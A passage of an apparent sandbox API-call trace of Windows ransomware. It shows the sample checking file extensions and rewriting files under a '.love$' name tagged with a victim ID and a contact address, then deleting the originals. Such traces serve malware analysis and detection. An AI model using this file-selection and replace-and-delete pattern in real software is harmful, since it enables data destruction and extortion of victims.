lpString2=".xml") returned 1 [0224.668] lstrlenW (lpString=".rar") returned 4 [0224.668] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.668] lstrlenW (lpString=".bz2") returned 4 [0224.668] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.668] lstrlenW (lpString=".7z") returned 3 [0224.668] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0224.668] lstrlenW (lpString=".dbf") returned 4 [0224.668] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0224.668] lstrlenW (lpString=".1cd") returned 4 [0224.668] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0224.668] lstrlenW (lpString=".jpg") returned 4 [0224.668] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.668] Sleep (dwMilliseconds=0x64) [0225.038] lstrcmpiW (lpString1=".jpg", lpString2=".love$") returned -1 [0225.039] lstrlenW (lpString="Bears.jpg") returned 9 [0225.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0225.058] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1074) returned 1 [0225.058] CloseHandle (hObject=0x398) returned 1 [0225.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0225.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0225.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0225.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0225.059] lstrlenW (lpString=".doc") returned 4 [0225.059] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0225.059] lstrlenW (lpString=".docx") returned 5 [0225.059] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0225.059] lstrlenW (lpString=".pdf") returned 4 [0225.059] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0225.059] lstrlenW (lpString=".xls") returned 4 [0225.059] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0225.059] lstrlenW (lpString=".xlsx") returned 5 [0225.059] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0225.059] lstrlenW (lpString=".ppt") returned 4 [0225.059] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0225.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0225.059] lstrlenW (lpString=".zip") returned 4 [0225.059] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0225.059] lstrlenW (lpString=".rar") returned 4 [0225.059] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0225.059] lstrlenW (lpString=".bz2") returned 4 [0225.060] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0225.060] lstrlenW (lpString=".7z") returned 3 [0225.060] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0225.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0225.060] lstrlenW (lpString=".dbf") returned 4 [0225.060] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0225.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0225.060] lstrlenW (lpString=".1cd") returned 4 [0225.060] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0225.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0225.060] lstrlenW (lpString=".jpg") returned 4 [0225.060] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0225.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0225.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0225.060] lstrlenW (lpString=".doc") returned 4 [0225.060] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0225.060] lstrlenW (lpString=".docx") returned 5 [0225.060] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0225.060] lstrlenW (lpString=".pdf") returned 4 [0225.060] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0225.060] lstrlenW (lpString=".xls") returned 4 [0225.060] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0225.060] lstrlenW (lpString=".xlsx") returned 5 [0225.060] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0225.060] lstrlenW (lpString=".ppt") returned 4 [0225.060] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0225.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0225.060] lstrlenW (lpString=".zip") returned 4 [0225.061] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0225.061] lstrlenW (lpString=".rar") returned 4 [0225.061] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0225.061] lstrlenW (lpString=".bz2") returned 4 [0225.061] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0225.061] lstrlenW (lpString=".7z") returned 3 [0225.061] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0225.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0225.061] lstrlenW (lpString=".dbf") returned 4 [0225.061] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0225.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0225.061] lstrlenW (lpString=".1cd") returned 4 [0225.061] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0225.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0225.061] lstrlenW (lpString=".jpg") returned 4 [0225.061] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0225.061] lstrcmpiW (lpString1=".jpg", lpString2=".love$") returned -1 [0225.061] lstrlenW (lpString="HandPrints.jpg") returned 14 [0225.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0225.152] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4222) returned 1 [0225.152] CloseHandle (hObject=0x398) returned 1 [0225.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0225.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0225.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0225.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0225.153] lstrlenW (lpString=".doc") returned 4 [0225.153] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0225.153] lstrlenW (lpString=".docx") returned 5 [0225.153] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0225.153] lstrlenW (lpString=".pdf") returned 4 [0225.153] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0225.153] lstrlenW (lpString=".xls") returned 4 [0225.153] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0225.153] lstrlenW (lpString=".xlsx") returned 5 [0225.153] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0225.153] lstrlenW (lpString=".ppt") returned 4 [0225.153] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0225.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0225.153] lstrlenW (lpString=".zip") returned 4 [0225.153] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0225.153] lstrlenW (lpString=".rar") returned 4 [0225.153] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0225.153] lstrlenW (lpString=".bz2") returned 4 [0225.153] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0225.153] lstrlenW (lpString=".7z") returned 3 [0225.153] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0225.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0225.153] lstrlenW (lpString=".dbf") returned 4 [0225.153] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0225.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0225.153] lstrlenW (lpString=".1cd") returned 4 [0225.153] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0225.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0225.154] lstrlenW (lpString=".jpg") returned 4 [0225.154] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0225.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0225.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0225.154] lstrlenW (lpString=".doc") returned 4 [0225.154] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0225.154] lstrlenW (lpString=".docx") returned 5 [0225.154] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0225.154] lstrlenW (lpString=".pdf") returned 4 [0225.154] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0225.154] lstrlenW (lpString=".xls") returned 4 [0225.154] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0225.154] lstrlenW (lpString=".xlsx") returned 5 [0225.154] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0225.154] lstrlenW (lpString=".ppt") returned 4 [0225.154] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0225.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0225.154] lstrlenW (lpString=".zip") returned 4 [0225.154] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0225.154] lstrlenW (lpString=".rar") returned 4 [0225.154] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0225.154] lstrlenW (lpString=".bz2") returned 4 [0225.154] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0225.154] lstrlenW (lpString=".7z") returned 3 [0225.154] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0225.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0225.154] lstrlenW (lpString=".dbf") returned 4 [0225.154] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0225.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0225.155] lstrlenW (lpString=".1cd") returned 4 [0225.155] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0225.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0225.155] lstrlenW (lpString=".jpg") returned 4 [0225.155] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0225.155] Sleep (dwMilliseconds=0x64) [0225.529] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0225.529] lstrlenW (lpString="AN00015_.WMF") returned 12 [0225.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0226.294] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4734) returned 1 [0226.294] CloseHandle (hObject=0x42c) returned 1 [0226.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220 [0226.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0x20 [0226.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0226.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0226.296] lstrlenW (lpString=".doc") returned 4 [0226.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.296] lstrlenW (lpString=".docx") returned 5 [0226.296] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.296] lstrlenW (lpString=".pdf") returned 4 [0226.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.296] lstrlenW (lpString=".xls") returned 4 [0226.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.296] lstrlenW (lpString=".xlsx") returned 5 [0226.296] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.296] lstrlenW (lpString=".ppt") returned 4 [0226.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0226.296] lstrlenW (lpString=".zip") returned 4 [0226.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.296] lstrlenW (lpString=".rar") returned 4 [0226.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.297] lstrlenW (lpString=".bz2") returned 4 [0226.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.297] lstrlenW (lpString=".7z") returned 3 [0226.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0226.297] lstrlenW (lpString=".dbf") returned 4 [0226.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0226.297] lstrlenW (lpString=".1cd") returned 4 [0226.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0226.297] lstrlenW (lpString=".jpg") returned 4 [0226.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0226.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0226.297] lstrlenW (lpString=".doc") returned 4 [0226.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.297] lstrlenW (lpString=".docx") returned 5 [0226.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.297] lstrlenW (lpString=".pdf") returned 4 [0226.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.297] lstrlenW (lpString=".xls") returned 4 [0226.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.297] lstrlenW (lpString=".xlsx") returned 5 [0226.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.297] lstrlenW (lpString=".ppt") returned 4 [0226.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0226.297] lstrlenW (lpString=".zip") returned 4 [0226.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.297] lstrlenW (lpString=".rar") returned 4 [0226.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.298] lstrlenW (lpString=".bz2") returned 4 [0226.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.298] lstrlenW (lpString=".7z") returned 3 [0226.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0226.298] lstrlenW (lpString=".dbf") returned 4 [0226.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0226.298] lstrlenW (lpString=".1cd") returned 4 [0226.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0226.298] lstrlenW (lpString=".jpg") returned 4 [0226.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.298] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0226.298] lstrlenW (lpString="AN01060_.WMF") returned 12 [0226.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0226.299] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=7968) returned 1 [0226.299] CloseHandle (hObject=0x42c) returned 1 [0226.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0226.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0226.299] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.299] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0226.300] GetLastError () returned 0x0 [0226.300] ReadFile (in: hFile=0x42c, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1f20, lpOverlapped=0x0) returned 1 [0226.310] WriteFile (in: hFile=0x44c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1f30, lpOverlapped=0x0) returned 1 [0226.311] ReadFile (in: hFile=0x42c, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.311] WriteFile (in: hFile=0x44c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0226.312] SetEndOfFile (hFile=0x44c) returned 1 [0226.312] CloseHandle (hObject=0x44c) returned 1 [0226.316] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.316] SetEndOfFile (hFile=0x42c) returned 1 [0226.320] CloseHandle (hObject=0x42c) returned 1 [0226.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0226.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0226.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0226.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0226.321] lstrlenW (lpString=".doc") returned 4 [0226.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.321] lstrlenW (lpString=".docx") returned 5 [0226.321] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.321] lstrlenW (lpString=".pdf") returned 4 [0226.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.321] lstrlenW (lpString=".xls") returned 4 [0226.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.321] lstrlenW (lpString=".xlsx") returned 5 [0226.321] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.321] lstrlenW (lpString=".ppt") returned 4 [0226.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0226.321] lstrlenW (lpString=".zip") returned 4 [0226.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.321] lstrlenW (lpString=".rar") returned 4 [0226.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.322] lstrlenW (lpString=".bz2") returned 4 [0226.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.322] lstrlenW (lpString=".7z") returned 3 [0226.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0226.322] lstrlenW (lpString=".dbf") returned 4 [0226.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0226.322] lstrlenW (lpString=".1cd") returned 4 [0226.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0226.322] lstrlenW (lpString=".jpg") returned 4 [0226.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0226.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0226.322] lstrlenW (lpString=".doc") returned 4 [0226.322] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.322] lstrlenW (lpString=".docx") returned 5 [0226.322] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.322] lstrlenW (lpString=".pdf") returned 4 [0226.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.322] lstrlenW (lpString=".xls") returned 4 [0226.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.322] lstrlenW (lpString=".xlsx") returned 5 [0226.322] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.322] lstrlenW (lpString=".ppt") returned 4 [0226.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0226.322] lstrlenW (lpString=".zip") returned 4 [0226.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.322] lstrlenW (lpString=".rar") returned 4 [0226.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.323] lstrlenW (lpString=".bz2") returned 4 [0226.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.323] lstrlenW (lpString=".7z") returned 3 [0226.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0226.323] lstrlenW (lpString=".dbf") returned 